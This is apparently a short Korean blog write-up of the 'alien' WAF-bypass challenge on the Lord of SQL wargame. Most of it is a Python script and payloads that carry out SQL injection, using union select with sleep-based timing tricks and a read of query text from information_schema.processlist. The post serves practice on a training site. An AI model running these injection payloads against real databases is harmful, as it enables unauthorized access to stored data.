'Wargame/Lord of SQL'에 해당되는 글 44건

LOS2에 WAF Bypass 컨셉의 문제 4개가 추가되서 풀어봤다. 풀면서 도움도 많이됬고 엄청 재밌었다.

import requests

def request(payload):
    url = "http://los.rubiya.kr/alien_91104597bf79b4d893425b65c166d484.php"
    params = {'no':payload}
    headers = {'Cookie':'PHPSESSID=84u3mb02noqq3j7t40iv2roqc7'}
    response = requests.get(url,params=params,headers=headers)
    if "Clear" in response.text:
        return True
    else:
        return False


payload = "4444 union select concat(char(substring(now(),length(now()))%2+96+sleep(1)),0x646d696e)#' union select concat(char(substring(now(),length(now()))%2+97+sleep(1)),0x646d696e)#"
for i in range(1,20):
    if request(payload) == True:
        print str(i) + " Request Success!"
        break
    else:
        print str(i) + " Request Fail.."

payload

' union select substring(info,38,80) pw from information_schema.processlist -- x